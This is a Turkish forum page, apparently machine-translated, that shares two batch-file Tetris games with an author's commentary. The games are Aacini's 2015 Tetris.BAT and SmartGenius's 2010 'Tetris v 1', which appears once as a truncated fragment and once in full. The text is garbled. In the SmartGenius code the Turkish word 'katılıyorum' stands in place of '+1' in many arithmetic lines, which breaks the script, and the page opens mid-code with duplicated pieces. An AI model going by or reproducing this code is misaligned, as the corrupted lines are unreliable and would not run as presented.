Set Table=!Figure6_Pos%R%!
For %%b in (%Table%) do (Set "%%b=%Bound%")
Set /a "XToken=0","YToken=0","CurFig=6","RotateLevel=%R%"
title Fig:6 Pos:%R%
Goto :Eof

:Figure7
Set Figure7_Pos1=X8Y1,X6Y0,X7Y0,X8Y0
Set Figure7_Pos2=X7Y2,X8Y2,X8Y1,X8Y0
Set Figure7_Pos3=X6Y1,X7Y1,X8Y1,X6Y0
Set Figure7_Pos4=X6Y2,X6Y1,X6Y0,X7Y0
Set /a "R=(%Random% %% 4)+1"
Set Table=!Figure7_Pos%R%!
For %%b in (%Table%) do (Set "%%b=%Bound%")
Set /a "XToken=0","YToken=0","CurFig=7","RotateLevel=%R%"
Goto :Eof

::_0 xx9tYjYxWvxPrXmoLjqfzpxxx
::_0 xxxxxXhXxLBINRPFGBaxxxxxx
::_0 xxxxxxxxxxxxxxxxxxxxxxxxx
::_0 xxxxx8jYfZXojYxOtxJvxxxxx
::_0 EjXzofizgxLfmgimfjqYx9GVJ
::_0 xxxJvx8XmgfqlxNxGtyjxRxxx
::_0 xxxxxxxxxxxxxxxxxxxxxxxxx
::_0 xxxLmjjopxotx9Xmgtpxxxxxx
::_0 xPrXmoLjqfzpx9tms-x7545xx

:Help
Cls
Echo.
Call :L2 "Goto :Eof"
Echo.
Echo. How to Play Batch Tetris ?
Echo.
Echo. Use arrow keys, space and X
Echo.
Echo. Left = Move Shape Left
Echo. Down = Move Shape Down
Echo. Right = Move Shape Rigth
Echo. Space = Rotate Shape
Echo. X = Back to Menu Game
Echo.
Echo. 
Pause >nul
Goto :Menu

:Logo
Cls
Color 0b
Echo.
Echo. °°°°°°°°°°°°°°°°°°°°°°°°°°
Echo. °°°°°°°°°°°°°°°°°°°°°°°°°°
:L2
Echo. °°ÛÛÛ°ÛÛÛ°ÛÛÛ°ÛÛ°°Û°°ÛÛ°°°
Echo. °°°Û°°Û°°°°Û°°Û°Û°Û°Û°°°°°
Echo. °°°Û°°ÛÛÛ°°Û°°ÛÛ°°Û°°Û°°°°
Echo. °°°Û°°Û°°°°Û°°Û°Û°Û°°°Û°°°
Echo. °°°Û°°ÛÛÛ°°Û°°Û°Û°Û°ÛÛ°°°°
%~1
Echo. °°°°°°°°°°°°°°°°°°°°°°°°°°
Echo. °°±°°°°°°°°°²°°°°°°°°°°±°°
Echo. °°±°²°°°²²°°²²°°°²²²°°°±°°
Echo. °°±°²²°°°²°°²°°°°°°°°°°±°°
Echo. °°±°°²°°°²°°°°°°²²°°°°°±°°
Echo. °°±°°°°°°°°°°°°°°²²°°°°±°°
Echo. °°±°°°°°°°°²°°°°°°°°°°°±°°
Echo. °°±²°°°°°°°²²²°°°°°°°°°±°°
Echo. °°±²°°²²°°°°°°°²°°°°°°²±°°
Echo. °°±²°°²²°°°°°°²²²°°°²²²±°°
Echo. °°±±±±±±±±±±±±±±±±±±±±±±°°
Echo. °°°°°°°°°°°°°°°°°°°°°°°°°°
Echo. °°°°°: SmartGenius :°°°°°°
Echo. °°°°°  Corp.  2010  °°°°°°
Echo. °°°°°°°°°°°°°°°°°°°°°°°°°°
Ping -n 3 0.0.0.0 >nul
Goto :Eof
Umarım beğenirsin. Görüş ve önerilerinizi bekliyoruz.
Selamlar!

Saf bir toplu iş dosyasında Tetris oyunu

1. Mesaj tarafından Aacini » 27 Kasım 2015 11:45
Nedense Tetris oyununu hatırladım, bu yüzden Batch dosya versiyonlarını aradım. Ancak, yalnızca iki tür Toplu Dosya Tetris oyunu bulabilirim: üçüncü taraf programları kullanan çalışma oyunları veya temelde prototip olan toplu Toplu İş dosyaları; bu nedenle, saf bir Toplu Dosya Tetris oyunu yazmaya karar verdim. Bu ilk versiyon ve oldukça iyi çalışıyor:

@echo off
setlocal EnableDelayedExpansion

if "%~1" neq "" goto %1

title Tetris.BAT by Aacini
rem Written by Antonio Perez Ayala
rem http://www.dostips.com/forum/viewtopic.php?f=3&t=6812
rem Reference: http://colinfahey.com/tetris/tetris.html
rem 2015/11/27 - version 1.0

rem Delete the next line when Bitmap font 16x8 is used
set "F16x8=REM"

cls
echo/
echo ===  Pure .BATch-file Tetris game by Aacini  ===
echo/
echo/
echo Tetris pieces are controlled with these keys:
echo/
echo                                 rot.right
echo rot.             rot.     move      I      move
echo left ^<- A S D -^> right    left ^<- J K L -^> right
echo           ^|                         ^|
echo           v                         v
echo       soft drop                 hard drop
echo/
echo/
echo Press P to pause the game; press N to end game
echo/
echo/
pause
cls

rem Field dimensions
set /A cols=10, lines=20

set /A col=cols+6, lin=lines+8
%F16x8% set /A lin+=lines+2
mode CON: cols=%col% lines=%lin%
if %errorlevel% neq 0 (
   echo Configuration error^^^!
   echo You must select a font size that allows to set
   echo a text window of %col% columns X %lin% lines
   pause
   goto :EOF
)

chcp 850 > NUL
cd . > pipeFile.txt
"%~F0" Input >> pipeFile.txt  |  "%~F0" Main < pipeFile.txt
ping localhost -n 2 > NUL
del pipeFile.txt
goto :EOF



:Input
set "com[J]=Dx=-1"
set "com[L]=Dx=1"
set "com[K]=del=3"
set "com[I]=R=-1"
set "com[A]=R=1"
set "com[D]=R=-1"
set "com[S]=Dy=-1"
set "com[Y]=Y"
set "com[N]=N=1"
set "com[P]=pause=1"

for /L %%# in () do (
   set "key="
   for /F "delims=" %%k in ('xcopy /W "%~F0" "%~F0" 2^>NUL') do if not defined key set "key=%%k"
   for /F %%k in ("!key:~-1!") do (
      echo(!com[%%k]!
      if /I "%%k" equ "N" exit
   )
)
rem exit



:Main

(
   for /F "delims==" %%v in ('set') do set "%%v="
   set /A cols=%cols%, lines=%lines%
   set "F16x8=%F16x8%"
)

rem Initialize the Field
for /L %%i in (1,1,%cols%) do set "spc=!spc! "
for /L %%i in (1,1,%lines%) do set "F%%i=  ³%spc%³"
set /A top=lines+1
set "F%top%=  Ú" & set "F0=  À"
for /L %%i in (1,1,%cols%) do set "F%top%=!F%top%!Ä" & set "F0=!F0!Ä"
set "F%top%=!F%top%!¿" & set "F0=%F0%Ù"
set "F-1=  Level: 1" & set "Level=1"
set "F-2=   Rows: 0" & set "Rows=0"
set "F-3=  Score: 0" & set "Score=0"
for /L %%i in (1,1,%cols%) do set "blk=!blk!Û"
set /A top=lines+3, delay=50
%F16x8% set /A linesP2=lines+2

rem Define all ":orientations:" of the O I S Z L J T pieces via "triplets":
rem (offset Y . offset X . length X); one "triplet" for each horizontal line
for %%t in ( "O:0.-1.2 -1.-1.2"
             "I:0.-2.4:1.0.1 0.0.1 -1.0.1 -2.0.1"
             "S:0.0.2 -1.-1.2:1.0.1 0.0.2 -1.1.1"
             "Z:0.-1.2 -1.0.2:1.1.1 0.0.2 -1.0.1"
             "L:0.-1.3 -1.-1.1:1.0.1 0.0.1 -1.0.2:1.1.1 0.-1.3:1.-1.2 0.0.1 -1.0.1"
             "J:0.-1.3 -1.1.1:1.0.2 0.0.1 -1.0.1:1.-1.1 0.-1.3:1.0.1 0.0.1 -1.-1.2"
             "T:0.-1.3 -1.0.1:1.0.1 0.0.2 -1.0.1:1.0.1 0.-1.3:1.0.1 0.-1.2 -1.0.1" ) do (
   set "pc=%%~t"
   set "i=-1"
   for /F "delims=" %%p in (^"!pc::^=^
% New line %
!^") do (
      if !i! lss 0 (set "pc=%%p") else set "!pc!!i!=%%p"
      set /A i+=1
   )
   set "!pc!N=!i!"
)
set "pcs=OISZLJT"

set "init=1"
for /L %%# in () do (

   if defined init (
      setlocal EnableDelayedExpansion
      set "init="

      rem Create the first "previous" piece
      for /L %%i in (0,1,!time:~-1!) do set /A p=!random!%%7
      for %%p in (!p!) do set "p2=!pcs:~%%p,1!"
      for %%p in (!p2!) do set "p3=!%%p0!" & set "p4=!%%pN!"

      set "new=1"
   )

   if defined new (
      set "new="

      rem Take the "previous" piece as current one
      set "pc=!p2!" & set "p0=!p3!" & set "pN=!p4!"

      rem Create a new "previous" piece
      for /L %%i in (1,1,2) do (
         set /A p=!random!*7/32768
         for %%p in (!p!) do (
            set "p=!pcs:~%%p,1!"
            if !p! neq !pc! set "p2=!p!"
         )
      )
      for %%p in (!p2!) do set "p3=!%%p0!" & set "p4=!%%pN!"

      rem Insert the new "previous" piece in its place, above Field
      set /A x=3+cols/2, y=top, yp=top-1
      set "F!yp!=   %spc%"
      for %%p in (!p3!) do (
         for /F "tokens=1-3 delims=." %%i in ("%%p") do (
            set /A yp=y+%%i, xp=x+%%j, xL=xp+%%k
            for /F "tokens=1-3" %%a in ("!yp! !xp! !xL!") do (
               set "F%%a=!spc:~0,%%b!!blk:~0,%%k!!spc:~%%c!"
            )
         )
      )

      rem Try to insert the new current piece in the Field...
      set /A x=3+cols/2, y=lines,   b=1
      for %%p in (!p0!) do (
         for /F "tokens=1-3 delims=." %%i in ("%%p") do (
            set /A yp=y+%%i, xp=x+%%j, xL=xp+%%k
            for /F "tokens=1-3" %%a in ("!yp! !xp! !xL!") do (
               if "!F%%a:~%%b,%%k!" neq "!spc:~0,%%k!" set     "b="
               set "F%%a=!F%%a:~0,%%b!!blk:~0,%%k!!F%%a:~%%c!"
            )
         )
      )
      cls
      for /L %%i in (%top%,-1,-3) do (
         echo(!F%%i!
%F16x8%  if %%i geq %linesP2% echo(!F%%i!
%F16x8%  if %%i geq 1 if %%i leq %lines% echo(!F%%i!
      )

      rem ... if that was not possible:
      if not defined b call :endGame & endlocal

      set "p1=!p0!"
      set /A "pI=0, del=delay, b=1!time:~-2!"

   )

   rem Control module: move the piece as requested via a key, or down one row each %del% centiseconds
   set "move="
   set /A "Dy=Dx=0"
   set /P "com="
   if defined com (
      set /A "!com!, move=1"
      set "com="
      if defined N exit
      if defined pause call :Pause & set "move="
      set "b=1!time:~-2!"
   ) else (
      set /A "e=1!time:~-2!, elap=e-b, elap-=(elap>>31)*100"
      if !elap! geq !del! set /A b=e, Dy=move=-1
   )

   if defined move (

      rem Delete the piece from its current position, and store current coordinates
      set i=0
      for %%p in (!p0!) do for /F "tokens=1-3 delims=." %%i in ("%%p") do (
         set /A yp=y+%%i, xp=x+%%j, xL=xp+%%k
         for /F "tokens=1-3" %%a in ("!yp! !xp! !xL!") do (
            set "F%%a=!F%%a:~0,%%b!!spc:~0,%%k!!F%%a:~%%c!"
            set /A i+=1
            set "c!i!=%%a %%b %%c %%k"
         )
      )

      rem If move is Rotate: get rotated piece
      if defined R (
         set /A "p=(pI+R+pN)%%pN"
         for /F "tokens=1,2" %%i in ("!pc! !p!") do set "p1=!%%i%%j!"
      )

      rem Test if the piece can be placed at the new position, and store new coordinates
      set j=0
      for %%p in (!p1!) do if defined move (
         for /F "tokens=1-3 delims=." %%i in ("%%p") do (
            set /A yp=y+%%i+Dy, xp=x+%%j+Dx, xL=xp+%%k
            for /F "tokens=1-3" %%a in ("!yp! !xp! !xL!") do (
               if "!F%%a:~%%b,%%k!" equ "!spc:~0,%%k!" (
                  set /A j+=1
                  set "n!j!=%%a %%b %%c %%k"
               ) else (
                  set "move="
               )
            )
         )
      )

      if defined move (

         rem Place the piece at the new position
         for /L %%j in (1,1,!j!) do (
            for /F "tokens=1-4" %%a in ("!n%%j!") do (
               set "F%%a=!F%%a:~0,%%b!!blk:~0,%%d!!F%%a:~%%c!"
            )
         )

         rem Update the Field in screen
         cls
         for /L %%i in (%top%,-1,-3) do (
            echo(!F%%i!
%F16x8%     if %%i geq %linesP2% echo(!F%%i!
%F16x8%     if %%i geq 1 if %%i leq %lines% echo(!F%%i!
         )

         rem Update any changes in the piece
         set /A y+=Dy, x+=Dx
         if defined R set "p0=!p1!" & set "pI=!p!" & set "R="

      ) else (   rem The piece can not be moved

         rem Recover the piece at its current position
         for /L %%i in (1,1,!i!) do (
            for /F "tokens=1-4" %%a in ("!c%%i!") do (
               set "F%%a=!F%%a:~0,%%b!!blk:~0,%%d!!F%%a:~%%c!"
            )
         )
         if defined R set "p1=!p0!" & set "R="

         if !Dy! neq 0 (   rem The piece "lands"

            rem Count completed lines
            set "j=0"
            for /L %%i in (1,1,!i!) do for /F %%a in ("!c%%i!") do (
               if "!F%%a:~3,%cols%!" equ "%blk%" (
                  set "F%%a=  ³%spc: ==%³"
                  set /A j+=1
               )
            )

            if !j! neq 0 (
               rem Update scores (See N-Blox at http://www.tetrisfriends.com/help/tips_appendix.php#rankingsystem)
               set /A "xp=Level*(40+((j-2>>31)+1)*60+((j-3>>31)+1)*200+((j-4>>31)+1)*900), Score+=xp, Rows+=j, xL=Level, Level=(Rows-1)/10+1"
               set "F-2=!F-2:~0,8!+!j!     "
               set "xp=!xp!     "
               set "F-3=!F-3:~0,8!+!xp:~0,6!"
               echo   BEL Ctrl-G Ascii-7
               cls
               for /L %%i in (%top%,-1,-3) do (
                  echo(!F%%i!
%F16x8%           if %%i geq %linesP2% echo(!F%%i!
%F16x8%           if %%i geq 1 if %%i leq %lines% echo(!F%%i!
               )
               set "F-1=!F-1:~0,8! !Level!"
               set "F-2=!F-2:~0,8! !Rows!"
               set "F-3=!F-3:~0,8! !Score!"
               if !Level! neq !xL! if !delay! gtr 5 set /A delay-=5

               rem Remove completed lines
               set "i=1"
               for /L %%i in (1,1,%lines%) do (
                  set "F!i!=!F%%i!"
                  if "!F%%i:~3,1!" neq "=" set /A i+=1
               )
               for /L %%i in (!i!,1,%lines%) do set "F%%i=  ³%spc%³"
               call :Delay 95
               cls
               for /L %%i in (%top%,-1,-3) do (
                  echo(!F%%i!
%F16x8%           if %%i geq %linesP2% echo(!F%%i!
%F16x8%           if %%i geq 1 if %%i leq %lines% echo(!F%%i!
               )
            )

            rem Request to show a new piece
            set "new=1"

         )

      )

   )

)

:endGame
set /P "=Play again? " < NUL
:choice
   set /P "com="
if not defined com goto choice
if /I "%com%" equ "Y" exit /B
if /I "%com:~0,1%" neq "N" set "com=" & goto choice
echo N
exit


:Pause
set "pause=!F%lines%!"
set "F%lines%=  ³%spc:          =  PAUSED  %³"
cls & for /L %%i in (%top%,-1,-3) do (
         echo(!F%%i!
%F16x8%  if %%i geq %linesP2% echo(!F%%i!
%F16x8%  if %%i geq 1 if %%i leq %lines% echo(!F%%i!
      )
:wait
   set /P "com="
if not defined com goto wait
set "com="
set "F%lines%=%pause%"
cls & for /L %%i in (%top%,-1,-3) do (
         echo(!F%%i!
%F16x8%  if %%i geq %linesP2% echo(!F%%i!
%F16x8%  if %%i geq 1 if %%i leq %lines% echo(!F%%i!
      )
set "pause="
exit /B


:Delay centisecs
set "b=1%time:~-2%"
:wait2
   set /A "e=1%time:~-2%, elap=e-b, elap-=(elap>>31)*100"
if %elap% lss %1 goto wait2
set "b=1%time:~-2%"
exit /B

Bu programdaki parçaların animasyonu oldukça düzgün; Yavaş bilgisayarımda hafif bir titreme ancak parçaların hareketi hızlı olduğunda ortaya çıkar, bu yüzden animasyonun daha hızlı makinelerde daha yumuşak olacağını düşünüyorum. Parçalar, kod sayfası 850'nin blok karakteri kullanılarak birleştirilir, bu yüzden görünümü genellikle kullanılan genişliğinden daha uzun olan yazı tipine bağlıdır. Bitmap fontu @ 16x8 piksel kullanılırsa, basit bir numara her çizgiyi iki kez gösteren mükemmel kare parçaları göstermeye izin verir; Programda bu numarayı etkinleştirmek için, aşağıda gösterilen satırı kaldırın:

rem Delete the next line when Bitmap font 16x8 is used
set "F16x8=REM"

Ancak, bu durumda titreme artar, çünkü Font 16x8 yönetim kodu iki IF içerir. Bu gibi titrek artış, IF'leri iki FOR'un daha fazlasıyla değiştirmek için kodu değiştirmekle önlenebilir, ancak bu durumda program yalnızca bu yazı tipiyle çalışır. 

Bu, bu programın ilk sürümüdür, bu yüzden birkaç nokta değiştirilebilir veya geliştirilebilir. Bunları programımda kullanmak için Tetris oyun standartlarını aradım, ancak sadece tek bir "standart" olmadığını keşfettim, bu yüzden kendi fikirlerimi belirli noktalarda, özellikle oyunu oynamak için kullanılan anahtarlarda kullanmak zorunda kaldım. Değişiklikler için herhangi bir öneriniz, özellikle de sık sık bir Tetris oyuncusuysanız memnuniyetle karşılıyoruz. 


Merhabalar

Aşağıdaki kodları;

1.Boş bir not defteri açınız.
2.Bu boş not defterine kodları kopyala-yapıştır ile aktarınız.
3.Dosya Menüsü >> Farklı Kaydet >> alt komut yordamını işleyiniz.
4.Dosya Türü = Tüm Dosyalar
Dosya Adı = Tetris.bat yapınız.

İyi Eğlenceler
@echo off
@title Tetris v 1
@mode con cols=28 lines=24

:: Batch Game - Tetris v 1
:: Proof Of Concept
:: Coded by SmartGenius
:: SmartGenius, Corp. 2010

Choice /N /T:Y,1 >Nul 2>&1
If "%Errorlevel%"=="9009" (Echo. CHOICE command not found&Pause&Exit)

Set "Game=%0"

Call :Logo

:Easteregg
Cls
Echo.
Echo.
Echo. Tetris v 1 by SmartGenius
Echo. ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Echo. ÚÄÄ¿ ÚÄÄÄÄÄÄÄÄÄÄÄÄ¿
Echo. ³1.³ ³Play TETRIS ³
Echo. ÀÄÄÙ ÀÄÄÄÄÄÄÄÄÄÄÄÄÙ
Echo. ÚÄÄ¿ ÚÄÄÄÄÄÄÄÄÄÄÄÄ¿
Echo. ³2.³ ³How to Play ³
Echo. ÀÄÄÙ ÀÄÄÄÄÄÄÄÄÄÄÄÄÙ
Echo. ÚÄÄ¿ ÚÄÄÄÄÄÄÄÄÄÄÄÄ¿
Echo. ³3.³ ³Exit Game   ³
Echo. ÀÄÄÙ ÀÄÄÄÄÄÄÄÄÄÄÄÄÙ
Echo.
CHOICE /C:123 /N >nul
If "%errorlevel%"=="1" (Goto :Load)
If "%errorlevel%"=="2" (Goto :Help)
If "%errorlevel%"=="3" (Goto :End)
Goto :Easteregg

:Load
Setlocal enabledelayedexpansion
Set /a "LimX=18","LimY=16","TBound=1","LBound=0","Turn=1","Points=0"
Set /a "RBound=%LimX%","BBound=%LimY%"

:Init
For /l %%a in (0,1,%LimX%) do (
For /l %%b in (0,1,%LimY%) do (
Set "X%%aY%%b= "))
Set "Bound=Û"
Set "Bound2=²"

:Main
Set /a "L=(%Random% %% 7)katılıyorum"
Call :Figure%L%
Call :Graphic
Goto :Main

:Graphic
If "%New_F%"=="True" (
Call :Solid
Set "New_F=False"
Goto :Eof
)
Call :Clear
Cls
Echo.
Echo.  Tetris v 1 by SmartGenius
Echo.
Echo.   Points:%Points%
Echo.   ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
For /l %%f in (0,1,%LimY%) do (Echo.   º!Lin_%%f!º)
Echo.   ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
Call :Move
Goto :Graphic

:Move
:: Normal CHOICE (provided into ZIP package)
CHOICE /C:SADRXC /N >nul
:: Windows 7 or x64 system CHOICE (uncomment)
REM CHOICE /C SADRXC /N
If "%errorlevel%"=="1" (Call :Down)
If "%errorlevel%"=="2" (Call :Left)
If "%errorlevel%"=="3" (Call :Rigth)
If "%errorlevel%"=="4" (Call :Rotate)
If "%errorlevel%"=="5" (Goto :Easteregg)
If "%errorlevel%"=="6" (Call :MovCR)
::You can not move in 2 different directions at the same time.
REM Call :Down
Call :CheckL2
Goto :Eof

::::::::::::::::::::::::::::::::::::::::
:Solid
For %%a in (%Table%) do (Set "%%a=%Bound2%")
Goto :Eof

:Rotate
Set "TmpTB="
If "%XToken%"=="11" (Set "XToken=10")
If "%YToken%"=="15" (Set "XToken=14")
Set /a "NextRotate=(%RotateLevel% %% 4)katılıyorum"
Set "TmpTable=!Figure%CurFig%_Pos%NextRotate%!
For %%R in (%TmpTable%) do (
Call :MovR "%YToken%" "%XToken%" "%%R" "Val"
Call Set "TmpTB=!TmpTB!,!Val!"
)
For %%c in (%TmpTB:~1%) do (
If "!%%c!"=="%Bound2%" (
For %%b in (%Table%) do (Set "%%b=%Bound%")
Goto :Eof
))
For %%a in (%Table%) do (Set "%%a= ")
Set "Table=%TmpTB:~1%"
For %%b in (%Table%) do (Set "%%b=%Bound%")
Set /a "RotateLevel+=1"
Goto :Eof

:MovR
For /f "tokens=1,2 delims=X,Y" %%p in ("%~3") do (
Set /a MovY=%%q+%~1
Set /a MovX=%%p+%~2
Set "%~4=X!MovX!Y!MovY!"
Set "%~3= ")
Goto :Eof

:::::::::::::::::::::::::::::::::::::::::::
:Down
Set "TmpTB="
Set "TmpTable=%Table%"
For %%a in (%TmpTable%) do (
Echo.!TmpTable!|Find "Y%BBound%">nul
If !Errorlevel! EQU 0 (Set "New_F=True"&Goto :Eof)
Call :MovYR "1" "%%a" "Val"
Call Set "TmpTB=!TmpTB!,!Val!"
)
For %%c in (%TmpTB:~1%) do (
If "!%%c!"=="%Bound2%" (
Set "New_F=True"
For %%b in (%Table%) do (Set "%%b=%Bound%")
Goto :Eof
))
Set "Table=%TmpTB:~1%"
For %%d in (%Table%) do (Set "%%d=%Bound%")
Set /a "YToken+=1"
Goto :Eof

:MovYR
For /f "tokens=1,2 delims=X,Y" %%p in ("%~2") do (
Set /a MovY=%%q+%~1
Set "%~3=X%%pY!MovY!"
Set "%~2= ")
Goto :Eof

:MovCR
Cls
Echo.
Echo.
Call :L2 "Goto :Eof"
Echo.
For /f "tokens=2 skip=3" %%c in ('find "::_0" %Game%') do (
Set "Tmp_Var=%%c"
Call :Key.A Tmp_Var
Echo. !Tmp_Var!
)
Pause >nul
Goto :Eof
::::::::::::::::::::::::::::::::::::::::

::::::::::::::::::::::::::::::::::::::::
:Rigth
Set "TmpTB="
Set "TmpTable=%Table%"
For %%a in (%TmpTable%) do (
Echo.!TmpTable!|Find "X%RBound%">nul
If !Errorlevel! EQU 0 (Goto :Eof)
Call :MovXR "katılıyorum" "%%a" "Val"
Call Set "TmpTB=!TmpTB!,!Val!"
)
For %%c in (%TmpTB:~1%) do (
If "!%%c!"=="%Bound2%" (
For %%b in (%Table%) do (Set "%%b=%Bound%")
Goto :Eof
))
Set "Table=%TmpTB:~1%"
For %%d in (%Table%) do (Set "%%d=%Bound%")
Set /a "XToken+=1"
Goto :Eof

:Left
Set "TmpTB="
Set "TmpTable=%Table%"
For %%a in (%TmpTable%) do (
Echo.!TmpTable!|Find "X%LBound%">nul
If !Errorlevel! EQU 0 (Goto :Eof)
Call :MovXR "-1" "%%a" "Val"
Call Set "TmpTB=!TmpTB!,!Val!"
)
For %%c in (%TmpTB:~1%) do (
If "!%%c!"=="%Bound2%" (
For %%b in (%Table%) do (Set "%%b=%Bound%")
Goto :Eof
))
Set "Table=%TmpTB:~1%"
For %%d in (%Table%) do (Set "%%d=%Bound%")
Set /a "XToken-=1"
Goto :Eof

:MovXR
For /f "tokens=1,2 delims=X,Y" %%p in ("%~2") do (
Set /a MovX=%%p%~1
Set "%~3=X!MovX!Y%%q"
Set "%~2= ")
Goto :Eof

::::::::::::::::::::::::::::::::::::::::

:CheckL2
If "!Lin_1!"=="²²²²²²²²²²²²²²²²²²²" (Goto :Lost)
If "!Lin_%LimY%!"=="²²²²²²²²²²²²²²²²²²²" (
Call :Clear
For /l %%x in (0,1,%LimX%) do (
For /l %%y in (%LimY%,-1,1) do (
Set /a "UpLine=%%y-1"
Call Set "X%%xY%%y=%%X%%xY!UpLine!%%"
))
Set /a "Points+=100"
For /l %%d in (0,1,%LimX%) do (Set "X%%dY0= ")
Goto :CheckL2
)
Goto :Eof

:::::::::::::::::::::::::::::::::::::::::

:Key.A
If not defined %1 Goto:Eof
Set "c="
Set "d=0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz =/\()[]{}_-.:,;* @#"
:Key.B
Set "chr=!%1:~,1!"
For /l %%l in (0 1 80) do if "!chr!" equ "!d:~%%l,1!" (
  set /a "x=%%l^5"
  call set "c=!c!%%d:~!x!,1%%"
)
Set "%1=!%1:~1!"
If defined %1 goto:Key.B
Set "%1=!c!"
Goto :Eof
:::::::::::::::::::::::::::::::::::::::::

:Clear
For /l %%m in (0,1,%LimY%) do (Set Lin_%%m=)
For /l %%d in (0,1,%LimY%) do (
For /l %%e in (0,1,%LimX%) do (
Set Lin_%%d=!Lin_%%d!!X%%eY%%d!))
Goto :Eof

:Lost
Cls
Echo.
Echo.  Tetris v 1 by SmartGenius
Echo.
Echo.     Points:%Points%
Echo.        You lose!
Goto :End

:Win
Cls
Echo.
Echo.  Tetris v 1 by SmartGenius
Echo.
Echo.     Points:%Points%
Echo.         You win!  
Goto :End

:End
Echo.    Thanks for playing.
Echo.  Tetris v1 by SmartGenius
Endlocal
Ping -n 3 localhost >nul
Exit

::::::::::::::::::::::::::::::::::::::::::
:Figure1
Set Figure1_Pos1=X6Y2,X6Y1,X7Y1,X7Y0
Set Figure1_Pos2=X7Y1,X8Y1,X6Y0,X7Y0
Set Figure1_Pos3=X6Y2,X6Y1,X7Y1,X7Y0
Set Figure1_Pos4=X7Y1,X8Y1,X6Y0,X7Y0
Set /a "R=(%Random% %% 4)katılıyorum"
Set Table=!Figure1_Pos%R%!
For %%b in (%Table%) do (Set "%%b=%Bound%")
Set /a "XToken=0","YToken=0","CurFig=1","RotateLevel=%R%"
Goto :Eof

:Figure2
Set Figure2_Pos1=X7Y2,X6Y1,X7Y1,X6Y0
Set Figure2_Pos2=X6Y1,X7Y1,X7Y0,X8Y0
Set Figure2_Pos3=X7Y2,X6Y1,X7Y1,X6Y0
Set Figure2_Pos4=X6Y1,X7Y1,X7Y0,X8Y0
Set /a "R=(%Random% %% 4)katılıyorum"
Set Table=!Figure2_Pos%R%!
For %%b in (%Table%) do (Set "%%b=%Bound%")
Set /a "XToken=0","YToken=0","CurFig=2","RotateLevel=%R%"
Goto :Eof

:Figure3
Set Figure3_Pos1=X7Y1,X8Y1,X7Y0,X8Y0
Set Figure3_Pos2=X7Y1,X8Y1,X7Y0,X8Y0
Set Figure3_Pos3=X7Y1,X8Y1,X7Y0,X8Y0
Set Figure3_Pos4=X7Y1,X8Y1,X7Y0,X8Y0
Set /a "R=(%Random% %% 4)katılıyorum"
Set "Table=!Figure3_Pos%R%!"
For %%b in (%Table%) do (Set "%%b=%Bound%")
Set /a "XToken=0","YToken=0","CurFig=3","RotateLevel=%R%"
Goto :Eof

:Figure4
Set Figure4_Pos1=X6Y1,X7Y1,X8Y1
Set Figure4_Pos2=X7Y2,X7Y1,X7Y0
Set Figure4_Pos3=X6Y1,X7Y1,X8Y1
Set Figure4_Pos4=X7Y2,X7Y1,X7Y0
Set /a "R=(%Random% %% 4)katılıyorum"
Set Table=!Figure4_Pos%R%!
For %%b in (%Table%) do (Set "%%b=%Bound%")
Set /a "XToken=0","YToken=0","CurFig=4","RotateLevel=%R%"
Goto :Eof

:Figure5
Set Figure5_Pos1=X6Y1,X7Y1,X8Y1,X7Y0
Set Figure5_Pos2=X7Y2,X7Y1,X8Y1,X7Y0
Set Figure5_Pos3=X7Y1,X6Y0,X7Y0,X8Y0
Set Figure5_Pos4=X8Y2,X7Y1,X8Y1,X8Y0
Set /a "R=(%Random% %% 4)katılıyorum"
Set Table=!Figure5_Pos%R%!
For %%b in (%Table%) do (Set "%%b=%Bound%")
Set /a "XToken=0","YToken=0","CurFig=5","RotateLevel=%R%"
Goto :Eof

:Figure6
Set Figure6_Pos1=X6Y1,X6Y0,X7Y0,X8Y0
Set Figure6_Pos2=X8Y2,X8Y1,X8Y0,X7Y0
Set Figure6_Pos3=X6Y1,X7Y1,X8Y1,X8Y0
Set Figure6_Pos4=X6Y2,X7Y2,X6Y1,X6Y0
Set /a "R=(%Random% %% 4)katılıyorum"
Set Table=!Figure6_Pos%R%!
For %%b in (%Table%) do (Set "%%b=%Bound%")
Set /a "XToken=0","YToken=0","CurFig=6","RotateLevel=%R%"
Goto :Eof

:Figure7
Set Figure7_Pos1=X8Y1,X6Y0,X7Y0,X8Y0
Set Figure7_Pos2=X7Y2,X8Y2,X8Y1,X8Y0
Set Figure7_Pos3=X6Y1,X7Y1,X8Y1,X6Y0
Set Figure7_Pos4=X6Y2,X6Y1,X6Y0,X7Y0
Set /a "R=(%Random% %% 4)katılıyorum"
Set Table=!Figure7_Pos%R%!
For %%b in (%Table%) do (Set "%%b=%Bound%")
Set /a "XToken=0","YToken=0","CurFig=7","RotateLevel=%R%"
Goto :Eof

::_0 xx9tYjYxWvxPrXmoLjqfzpxx
::_0 xxxxxXhXxLBINRPFGBaxxxxxx
::_0 xxxxxxxxxxxxxxxxxxxxxxxxx
::_0 xPrXmoLjqfzpx9tms-x7545xxx

:Help
Cls
Echo.
Call :L2 "Goto :Eof"
Echo.
Echo. How to Play Batch Tetris ?
Echo.
Echo. Use keys A,S,D,R,X
Echo.
Echo. A = Move Shape Left
Echo. S = Move Shape Down
Echo. D = Move Shape Rigth
Echo. R = Rotate Shape
Echo. X = Back to Menu Game
Echo.
Echo.
Pause >nul
Goto :Easteregg

:Logo
Cls
Color 0b
Echo.
Echo. °°°°°°°°°°°°°°°°°°°°°°°°°°
Echo. °°°°°°°°°°°°°°°°°°°°°°°°°°
:L2
Echo. °°ÛÛÛ°ÛÛÛ°ÛÛÛ°ÛÛ°°Û°°ÛÛ°°°
Echo. °°°Û°°Û°°°°Û°°Û°Û°Û°Û°°°°°
Echo. °°°Û°°ÛÛÛ°°Û°°ÛÛ°°Û°°Û°°°°
Echo. °°°Û°°Û°°°°Û°°Û°Û°Û°°°Û°°°
Echo. °°°Û°°ÛÛÛ°°Û°°Û°Û°Û°ÛÛ°°°°
%~1
Echo. °°°°°°°°°°°°°°°°°°°°°°°°°°
Echo. °°±°°°°°°°°°²°°°°°°°°°°±°°
Echo. °°±°²°°°²²°°²²°°°²²²°°°±°°
Echo. °°±°²²°°°²°°²°°°°°°°°°°±°°
Echo. °°±°°²°°°²°°°°°°²²°°°°°±°°
Echo. °°±°°°°°°°°°°°°°°²²°°°°±°°
